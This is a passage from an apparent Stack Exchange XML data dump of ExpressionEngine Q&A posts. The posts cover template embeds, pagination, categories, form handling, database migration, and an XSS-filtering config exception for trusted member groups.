embeds&lt;/h3&gt;&#xA;&lt;p&gt;Out of the box Stash embeds are configured to mimic EE embeds, and you won't see much of a performance gain. The real performance advantage comes from 'tuning' the embed parameters. With Stash embeds you can:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;control the process stage - when in the parse order of the host template that the embed is included. This can be at the start of template processing, inline with the placement of the embed tag relative to other tags, or at the end of template parsing&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;control the parse stage - whether the template is parsed on set and cached, or cached then parsed on retrieval, or both&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;demarcate non-caching regions of the template with {stash:nocache}{/stash:nocache} tag pairs&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;precisely control the order of processing of embeds with the priority parameter&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;precisely control the parse depth when a template is parsed (the number of passes made by EEs template parser), and enable/disable conditional, variable and tag parsing per template&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set caching duration per embed&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use multiple instances of the same template without extra overhead&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;compile nested embeds into a single cached template&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;access native Stash variables in the the form {stash:my_variable}&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="289" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2012-11-21T14:55:51.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="169" PostTypeId="2" ParentId="166" CreationDate="2012-11-21T15:02:58.127" Score="5" Body="&lt;p&gt;I'm not seeing a &quot;{prev}&quot; or &quot;{next}&quot; variable listing in the EE 2.5.3 docs for channel entries (I'm assuming you're doing this on a single-entry template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried using the {paginate}{/paginate} tag pair? (&lt;a href=&quot;http://expressionengine.com/user_guide/modules/channel/pagination_page.html&quot;&gt;http://expressionengine.com/user_guide/modules/channel/pagination_page.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if something like this will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;some-channel&quot; sort=&quot;desc&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot;}&#xA;{paginate}&#xA;    {if previous_page}&#xA;        &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt; &amp;amp;nbsp;&#xA;    {/if}&#xA;    {if previous_page and next_page}|{/if}&#xA;    {if next_page}&#xA;        &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="71" LastEditorUserId="55" LastEditDate="2012-11-21T15:12:50.607" LastActivityDate="2012-11-21T15:12:50.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="170" PostTypeId="2" ParentId="166" CreationDate="2012-11-21T15:22:30.180" Score="4" Body="&lt;p&gt;If you want a solution that uses entry linking (rather than pagination as Patrick suggested) then either of these add-ons will allow you to do conditionals based on whether there are next/prev entries or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-linking&quot; rel=&quot;nofollow&quot;&gt;Entry Linking&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/advanced-prev-next-entry&quot; rel=&quot;nofollow&quot;&gt;Advanced Prev Next Entry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-11-21T15:22:30.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="171" PostTypeId="2" ParentId="155" CreationDate="2012-11-21T15:26:36.010" Score="2" Body="&lt;p&gt;I suspect that for forms workflow you might have to write a custom addon. &lt;a href=&quot;http://devot-ee.com/add-ons/forms&quot; rel=&quot;nofollow&quot;&gt;Forms&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;Freeform Pro&lt;/a&gt;, and &lt;a href=&quot;http://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&quot; rel=&quot;nofollow&quot;&gt;Proform&lt;/a&gt; all have custom hooks that you can integrate with; you could write an extension to allow a logged-in user to save an incomplete form and then return to it later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you needed to allow for NON-logged-in users, that might be a little harder; you'd have to do something complicated with cookies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also, depending on your browser requirements, just use Javascript: cookies and the Local Storage API (possibly with a polyfill) could get you everything you needed.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-21T15:26:36.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="172" PostTypeId="2" ParentId="138" CreationDate="2012-11-21T15:36:18.220" Score="6" Body="&lt;p&gt;When a Freeform form is submitted with AJAX Freeform can provide JSON response containing errors or success, which can be used to display errors. This has worked well for me on previous versions of Freeform. The docs for the latest version of Freeform say that Freeform will detect AJAX automatically and provide a JSON response you can use to display user error/success feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#ajax&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ajax&lt;/code&gt; parameter&lt;/a&gt; in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is actually an example of &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#ajax_validation&quot; rel=&quot;nofollow&quot;&gt;ajax form submission with validation&lt;/a&gt; at the end of the documentation, too.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-02-25T02:52:04.157" LastActivityDate="2015-02-25T02:52:04.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="173" PostTypeId="2" ParentId="119" CreationDate="2012-11-21T16:13:03.810" Score="6" Body="&lt;p&gt;Consider Yahoo Pipes for scraping content from webpages. You can export it to a number of formats and then use Solspace's Importer or AJW's DataGrab to move it into place on EE. You can find an walkthrough on how to grab content via Pipes here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.daybarr.com/blog/yahoo-pipes-tutorial-an-example-using-the-fetch-page-module-to-make-a-web-scraper&quot;&gt;http://www.daybarr.com/blog/yahoo-pipes-tutorial-an-example-using-the-fetch-page-module-to-make-a-web-scraper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2012-11-21T16:13:03.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="174" PostTypeId="2" ParentId="141" CreationDate="2012-11-21T16:30:09.720" Score="1" Body="&lt;p&gt;EE doesn't have a real document/asset management addon, although one could certainly be built out of existing bits. I would start with Channel Images, because its directory structure really lends itself toward reuse of assets (it gives every asset a separate subdirectory). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could start with a separate DMS/AMS, and build some sort of integration bridge, as Natetronn suggested above with SSP Director.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-21T16:30:09.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="175" PostTypeId="2" ParentId="94" CreationDate="2012-11-21T16:36:37.103" Score="2" Body="&lt;p&gt;A colleague and I are actually working on a way to allow fields to be global without some of the headaches of addons like Gypsy or Drifter, but it is going to require core hacks at least in the short term and it is NOT ready for primetime yet. So in the short term, I'd say go with one large field group and use publish layouts, which are much more stable now. &lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-21T16:36:37.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="176" PostTypeId="1" AcceptedAnswerId="177" CreationDate="2012-11-21T17:23:16.530" Score="13" ViewCount="312" Body="&lt;p&gt;Everyone knows EE's categories suck. What this question presupposes is, maybe they don't have to. What are the best ways to handle more complex categorization schemes? For example, I am about to start development on a website for a funiture maker. There will be a &quot;products&quot; channel, where each product needs to be categorized in several ways: product line, type of product, room of the house. Those categories will be used in various ways across the site, include generating menus, product listings by the various criteria, related products, and so on. Below are the methods I've used before or am familiar with. Am I missing any? What the are upsides or downsides?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use EE's native category groups. Assign more than one group to the channel and instruct the client to select at least one of each type. Use the Category Description field as necessary for display on the landing page or what have you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new channel for each group of categories and enter each category as a channel entry. Use relationship/Playa fields to select categories. Obviously this gives me a lot more flexibility with what information I can associate with the category, but the content entry workflow is not great. Also, lots of channels cluttering things up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Tagger/Taggable/SolSpace Tags. This is great for entering content - you can create a new category on the fly from the edit screen - but very limiting in terms of what data you can associate with a category. No category descriptions as far as I know, although I don't have extensive experience with any of these.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create duplicate channels for each category. This only works if you know the categories ahead of time and there are very few of them. The only time I have done this was when I was using Structure and wanted to have a page in the tree for each category. Easy to explain to clients... until they want to add a new category.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Am I missing anything? Is there a better way to handle this? What method does everyone else use?&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2012-11-21T17:52:55.880" Title="More flexible categorization" Tags="|workflow|categories|tags|taxonomy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="177" PostTypeId="2" ParentId="176" CreationDate="2012-11-21T17:44:03.573" Score="10" Body="&lt;p&gt;In the past I've done a bit of a hybrid of the first two options mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a channel for the categories, then create an entry in that channel for each category. Rather than using Playa or a relationship field, as long as the URL title of the category and the URL title of of the entry are the same, it's very easy to access both using the segment variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance you might have a template &lt;code&gt;blog/category&lt;/code&gt;, which results in the URL &lt;code&gt;blog/category/news&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template, rather than using the &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag pair to access your category meta data, you'd simply use a channel entries pair to display it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; channel=&quot;categories&quot; url_title=&quot;{segment_3}&quot;}&#xA;   ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would make the page a bit heavier with database queries, but gives you a lot more flexibility in what fields you can associate with a category while keeping the UI for selecting and adding categories very simple for the user.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-11-21T17:44:03.573" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="178" PostTypeId="2" ParentId="176" CreationDate="2012-11-21T17:52:55.880" Score="2" Body="&lt;p&gt;I think the first two options are your best bet. The last two don't give you the flexibility needed when displaying products based off a segment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done something very similar to your second option w/o Playa. Just mirror the categories as entries and assign that entry the same category (mirrored approach). Then use a extension like Low's Seg2Cat or Litzinger's URL Helper to dynamically display the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't limit what information can be tied to a category (ie. description, 1 image, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not the most efficient, but I've done a true nested URI's category/product that scales nicely with Switchee &amp;amp; URL Helper: &lt;a href=&quot;https://gist.github.com/4089096&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/4089096&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-21T17:52:55.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="179" PostTypeId="2" ParentId="126" CreationDate="2012-11-21T17:52:59.753" Score="4" Body="&lt;p&gt;It sounds like using Pixel &amp;amp; Tonic's Playa module might be your best bet. It has tags for pulling entries based on relationships.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-11-21T17:52:59.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="180" PostTypeId="2" ParentId="163" CreationDate="2012-11-21T18:03:13.693" Score="1" Body="&lt;p&gt;Haven't done this myself, but did need a sort of multiple &quot;groups&quot; or member &quot;tagging&quot; kind of feature. The easiest way it seems to do this in EE is to expose Channel Categories as a Member field or something similar. There are two commercial add-ons I know of that do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/member-categories&quot; rel=&quot;nofollow&quot;&gt;IntoEEtive's Member Categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.addonbakery.com/docs/member-categories.html&quot; rel=&quot;nofollow&quot;&gt;Addon Bakery's Member Categories&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose to go with the latter (don't remember why anymore, though). Note that when it displays Categories as a custom Member Field in the Edit Profile page it does not display them the way you arrange them in the Control Panel. It's simply a select or multi-select. Perhaps that could be a feature request. (jQuery Chosen plugin is no longer used as per the documentation screenshots either, you'd have to enable that manually.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for relationships between specific members and sub-categories... I don't know. Probably would require custom development?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-11-21T18:03:13.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="181" PostTypeId="1" CreationDate="2012-11-21T18:14:52.000" Score="1" ViewCount="347" Body="&lt;p&gt;i've an eccommerce with store on OVH's shared hosting and I often receive this error message when i browse the site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Internal Server Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The server encountered an internal error or misconfiguration and was unable to complete your request.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Please contact the server administrator, postmaster@www.griffando.it and inform them of &gt; the time the error occurred, and anything you might have done that may have caused the error.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;More information about this error may be available in the server error log.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP Version: 5.3 &lt;/li&gt;&#xA;&lt;li&gt;EE version: 2.5.3&lt;/li&gt;&#xA;&lt;li&gt;Store version: 1.6.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Have anyone else encounter in the same issue?&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;Here there's the error log: &lt;a href=&quot;https://gist.github.com/9d2f2a1f85374c415042&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/9d2f2a1f85374c415042&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit2: thank you all guys, now (i don't know why) the error disappear. I didn't change anything&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2012-11-22T13:20:33.630" LastActivityDate="2012-11-22T13:20:33.630" Title="Strange issue with expressionengine and store on a Shared Hosting (OVH)" Tags="|expresso-store|hosting|" AnswerCount="3" CommentCount="3" ClosedDate="2012-11-28T16:20:38.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="182" PostTypeId="1" AcceptedAnswerId="272" CreationDate="2012-11-21T18:15:52.897" Score="14" ViewCount="779" Body="&lt;p&gt;Is it possible to disable the shipping price if the order total is over a certain amount? &#xA;I was thinking maybe a conditional in the checkout template but I havent gotten it to work. &#xA;Does anyone have any ideas or could point me in the right direction? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="295" LastEditorUserId="16" LastEditDate="2012-11-29T22:27:21.247" LastActivityDate="2012-11-29T22:27:21.247" Title="Expresso Store - Add free shipping when an order's subtotal is over an certain amount?" Tags="|expresso-store|checkout|shipping|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="183" PostTypeId="1" CreationDate="2012-11-21T18:30:05.043" Score="4" ViewCount="316" Body="&lt;p&gt;(I don't feel this is a duplicate of &quot;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/45/migrating-between-development-staging-and-production-for-a-pre-existing-express&quot;&gt;Migrating between Development, Staging and Production for a pre-existing ExpressionEngine site&lt;/a&gt;&quot; as I'm hoping it's much simpler/specific. Maybe it is a duplicate as I'm not familiar yet with all the nuances as the site is just getting started. If that's the case I would hope detail is provided before being marked as a duplicate. Moreover in the above no particular examples were given for migrating content.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming no new add-ons and thus tables have been added to either version, say I just want to grab new entries, members, and channel categories from production to development, is there a convenient way to do that? (And changes to existing entries/members or whatever other content?) Or do I just manually export/import from select tables via MySql (does this present problems?)?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2022-12-12T16:39:57.513" Title="Migrating/duplicating Content/Members from a Production site to Development" Tags="|database|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="184" PostTypeId="1" AcceptedAnswerId="185" CreationDate="2012-11-21T18:30:28.887" Score="4" ViewCount="229" Body="&lt;p&gt;I have a client site which utilises the &lt;a href=&quot;http://www.bybjorn.com/466/&quot; rel=&quot;nofollow&quot;&gt;SEO lite module&lt;/a&gt;. The client has come back with a feature request which I'm trying to figure out a way to achieve: they want to pre-populate the SEO fields on a number of channels using the title and description channel fields, but then allow the admin user to edit those values before saving/publishing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I know that in my templates I can can fall back to channel field content if the SEO lite fields are empty, this is more about providing a convenience for the client in filling out the SEO Lite fields)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I can do this by writing a custom extension to inject some JS into the CP on publish/edit forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can write the JS easily enough, but need some advice on the extension side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is a custom extension the best route?&lt;/li&gt;&#xA;&lt;li&gt;Can some one point me towards a good template / existing xtn to use as a basis (ie just injects custom JS into the public/edit view, uses similar hooks etc)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-21T19:04:45.613" LastActivityDate="2012-11-21T19:14:21.560" Title="Pre-populating SEO lite fields: custom extension advice" Tags="|add-on|extension|add-on-development|seo-lite|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="185" PostTypeId="2" ParentId="184" CreationDate="2012-11-21T18:44:19.320" Score="3" Body="&lt;p&gt;You can pop your JS into the instructions of one of the fields on that form. Will be the quickest solution IMO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR you can use this Extension to add custom CSS/JS to the CP:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cp-css-js&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-11-21T19:14:21.560" LastActivityDate="2012-11-21T19:14:21.560" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="186" PostTypeId="2" ParentId="184" CreationDate="2012-11-21T18:47:58.330" Score="1" Body="&lt;p&gt;I could be completely off with this but I wanted to add some JavaScript stuff to the View Members page. &lt;a href=&quot;http://devot-ee.com/add-ons/mx-cloner&quot; rel=&quot;nofollow&quot;&gt;MX Cloner&lt;/a&gt; had just the bit of functionality I was looking for: Replace a link on the screen with a hover effect given the proper URL and a way to place JavaScript in the CP. This may not be the best or even proper route to go, but it was the most convenient route for me being pretty new and all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could easily make a copy of that accessory to pull the defaults from SEO Lite. I haven't used SEO Lite yet so no comment on that.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-11-21T18:47:58.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="187" PostTypeId="2" ParentId="181" CreationDate="2012-11-21T18:52:24.077" Score="4" Body="&lt;p&gt;As a first step, look at your server error logs. Details about what is causing the error will most likely be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is happening sporadically, I would guess that it has noting to do with EE or Store and everything to do with your hosting environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't find the answer in your error logs, your only option is to contact the web host for further assistance.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-21T18:52:24.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="188" PostTypeId="2" ParentId="98" CreationDate="2012-11-21T19:00:32.087" Score="3" Body="&lt;p&gt;After uselessly beating my head against the wall on this, I just decided to clear all the files from the server, drop the database, and re-upload everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you, thank you, THANK YOU to everyone for all of your excellent suggestions, and I'm really sorry for totally mangling this question.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2012-12-05T20:38:19.187" LastActivityDate="2012-12-05T20:38:19.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="189" PostTypeId="1" AcceptedAnswerId="193" CreationDate="2012-11-21T19:11:03.783" Score="17" ViewCount="1651" Body="&lt;p&gt;I keep running into this and I'm hoping there is a suitable solution - PDF uploads by anyone other than a super admin run into the error &quot;the file cannot be written to disk&quot;. This persists unless, as I've spotted in the bug tracker, the &quot;solution&quot; of turning off XSS filtering. But as I understand it, XSS is a good thing when it comes to security.  Is there any way around this?  Should I be particularly concerned about security if I turn off XSS filtering on file uploads?  My clients generally LOVE to be able to simply and easily upload a PDF file through the entries screen, but we don't want to create security holes either.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-10-02T20:50:40.467" Title="Are PDFs still an XSS problem with EE uploads?" Tags="|security|uploads|xss|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="190" PostTypeId="1" AcceptedAnswerId="194" CreationDate="2012-11-21T19:30:23.673" Score="15" ViewCount="2593" Body="&lt;p&gt;What is the difference between a global variable, a snippet and an embedded template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When and where should I be using each of them?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-24T19:22:58.583" Title="What is the difference between a global variable, a snippet and an embedded template?" Tags="|bestpractice|templates|snippets|global-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="191" PostTypeId="2" ParentId="183" CreationDate="2012-11-21T19:40:36.990" Score="5" Body="&lt;p&gt;If you're just looking for a convenient way to transfer the latest data from one database to another (say from the production database into your development database) then &lt;a href=&quot;https://www.navicat.com/en/products/navicat-for-mysql&quot; rel=&quot;nofollow noreferrer&quot;&gt;Navicat's&lt;/a&gt; data transfer feature is very handy. Though it accomplishes the same thing as the manual export/import you referred to, and will overwrite data not sync it, it's a lot more convenient. It allows you to choose the specific tables you want to transfer or to transfer all of them.&lt;/p&gt;&#xA;&lt;p&gt;Navicat also lets you save transfer &amp;quot;profiles&amp;quot; for specific transfers you want to perform again so that they can be triggered with only a few clicks. It supports http tunneling as well, making it a handy tool for connecting to servers that do not provide SSH access.&lt;/p&gt;&#xA;&lt;p&gt;Navicat has another feature that allows you to &lt;em&gt;sync&lt;/em&gt; the data and/or structure of two databases. I have less experience with this (maybe another answer will address that), but it can be useful if used carefully.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="7705" LastEditDate="2022-12-12T16:39:57.513" LastActivityDate="2022-12-12T16:39:57.513" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="192" PostTypeId="1" AcceptedAnswerId="196" CreationDate="2012-11-21T19:54:36.273" Score="13" ViewCount="353" Body="&lt;p&gt;An answer to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/133/filtering-member-list-from-multiple-member-groups/140#140&quot;&gt;another question&lt;/a&gt; touched on the use of writing custom plugins as a more robust alternative to writing a SQL query in a template via the &lt;code&gt;{exp:query}&lt;/code&gt; tag. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are the advantages/pitfalls of using a custom plugin over the &lt;code&gt;{exp:query}&lt;/code&gt; tag?&lt;/li&gt;&#xA;&lt;li&gt;What patterns should be used to maximise reusability (eg multiple plugins vs single plugin with multiple methods etc)&lt;/li&gt;&#xA;&lt;li&gt;How best should custom plugins of this sort be documented before handing off an EE install?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Extra credit for code examples!&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-11-21T22:08:11.780" Title="Custom plugins vs query tags: advantages and implementation" Tags="|add-on-development|query|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="193" PostTypeId="2" ParentId="189" CreationDate="2012-11-21T19:56:37.343" Score="34" Body="&lt;p&gt;There is a better solution!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the XSS filtering member group by using some extra directives in your config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following, replacing the member group numbers as required;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['xss_clean_member_group_exception'] = &quot;1|6&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this method you can keep XSS filtering turned ON but remove it just for trusted members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; you can do it with member IDs too but can't recall the config key. Maybe try;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['xss_clean_member_exception'] = &quot;35|64&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-21T19:56:37.343" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="194" PostTypeId="2" ParentId="190" CreationDate="2012-11-21T20:16:56.637" Score="31" Body="&lt;p&gt;&lt;strong&gt;TLDR;&lt;/strong&gt; In general, my preference would normally be to use a snippet, unless I need the variable content to be user editable (eg site email), and to only use an embed when parse order issues or similar necessitate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's why...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Snippets:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/user_guide/templates/globals/snippets.html&quot;&gt;Snippets&lt;/a&gt; are frequently my first choice for implementing reusable code fragments in EE. They are parsed at a very early stage on each template, making it possible for them to hold dynamic content, ExpressionEngine tags, other variables, PHP, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are also very lightweight in terms of overhead, in that they don't require another pass of the templating engine in the way that an embed would do. Use a snippet to to reuse dynamic information, but when you don’t need the extra overhead of access control or separate preferences of an embedded template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to save snippets out as flat files, but only by using an addon, such as &lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync&quot;&gt;Snippet Sync&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantages&lt;/strong&gt;: Fast! can contain dynamic content/tags due to early parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disadvantages&lt;/strong&gt;: Can't be nested, can't be natively saved as files.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embedded templates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ExpressionEngine template can be &lt;a href=&quot;http://expressionengine.com/user_guide/templates/embedding.html&quot;&gt;embedded&lt;/a&gt; into any other template using the syntax: &lt;code&gt;{embed=&quot;group/template&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As embeds are a separate template, if you want any output from the parent template to be available inside the embed you must explicitly pass variables into it as parameters like so: &lt;code&gt;{embed=&quot;path/template&quot; variable=&quot;foo&quot;}&lt;/code&gt;. These which will then be available in your template like so: &lt;code&gt;{embed:foo}&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{embed=&quot;&quot;} tags are processed after all of the other tags of the original template are processed, this means you can set these parameters with other variables too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries 